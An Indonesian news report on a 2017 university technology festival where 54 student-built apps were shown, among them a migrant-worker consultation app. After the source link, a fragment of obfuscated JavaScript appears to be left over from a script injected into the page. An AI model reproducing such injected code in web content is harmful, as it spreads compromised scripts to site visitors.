Mahasiswa Fasilkom UMB Dituntut Membangun Aplikasi Sesuai Kebutuhan Masyarakat
KBRN, Jakarta : Sebanyak 54 aplikasi karya mahasiswa Fakultas Ilmu Komputer (Fasilkom) Universitas Mercu Buana (UMB) Jakarta dipamerkan dalam ‘Technology Festival (Technofest)’ yang digelar di Atrium Kampus UMB Meruya Jakarta Barat pada 17-20 Mei 2017.
Ke-54 aplikasi ini merupakan hasil karya kelompok mahasiswa tingkat akhir Fasilkom UMB, di mana setiap kelompok terdiri dari 3 hingga 5 orang mahasiswa, masing-masing bertindak sebagai Programmer, System Analyst, Designer serta Project Manager.
Koordinator Pameran Karya Mahasiswa Fasilkom UMB, Wahyu Hari Haji, S.Kom, MM mengatakan, sebelum membangun suatu aplikasi, para mahasiswa diwajibkan mencari lokasi riset, bisa dari perusahaan ataupun berdasarkan kebutuhan masyarakat pada umumnya.
“Mahasiswa harus melakukan studi terlebih dahulu untuk mengetahui seperti apa kebutuhan masyarakat di lapangan. Kemudian baru didesain suatu aplikasi yang betul-betul dapat menyelesaikan masalah yang dihadapi. Setelah itu baru dibangun suatu aplikasi sesuai dengan desain yang di rancangan serta dilakukan pengujian di lapangan,” terang Wahyu kepada RRI dan Sindo di ruang kerjanya, Jumat (19/5/2017) siang.
Menurut Kepala Pusat Kewirausahaan UMB ini, Fasilkom mewajibkan mehasiswa membangun aplikasi dalam multi platformA�berbasis Desktop serta Mobile, dalam hal ini menggunakan sistem operasi Android.
Output dari kegiatan ini adalah mahasiswa didorong untuk membangun suatu aplikasi dengan cara-cara atau mekanisme yang benar, kemudian diarahkan untuk membuat semacam start-up business.
“Tidak tertutup kemungkinan untuk karya-karya aplikasi yang dinilai bagus dan potensial akan didaftarkan ke perlombaan tahunan Gemastik, yakni Pagelaran Mahasiswa Nasional Bidang Teknologi, Informasi dan Komunikasi (TIK),” tambah Wahyu.
Nurul Fredy Tanaya, mahasiswa semester 6 Fasilkom UMB yang menjadi Pimpinan Proyek (Pimpro) ‘E-Konsul TKI team Project’ menuturkan, aplikasi yang mereka bangun mendapat apresiasi positif dari Badan Nasional Penempatan dan Perlindungan Tenaga Kerja Indonesia (BNP2TKI).
“Aplikasi kami mempunyai fitur untuk mengingatkan para Tenaga Kerja Indonesia untuk memperpanjang paspor maupun visa kerja mereka, jika masa waktunya sudah hampir habis. Bahkan, aplikasi ini mampu menghubungkan kembali seorang Tenaga Kerja Indonesia yang sudah loss contact dengan keluarganya selama 14 tahun,” ungkapnya.
Ke depan, lanjut Fredy, tidak menutup kemungkinan aplikasi ini dikembangkan lagi untuk pengiriman atau transfer uang dari para TKI kepada sanak keluarganya di kampung halaman, serta mengurangi praktek-praktek pungutan liar dari Perusahaan Pengerah Jasa Tenaga Kerja Indonesia (PJTKI) saat TKI pulang ke Tanah Air. (Red/HF)
sumber :A�http://www.rri.co.id/lhokseumawe/post/berita/394886/sorotan_kampus/mahasiswa_fasilkom_umb_dituntut_membangun_aplikasi_sesuai_kebutuhan_masyarakat.html ]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
0 Comments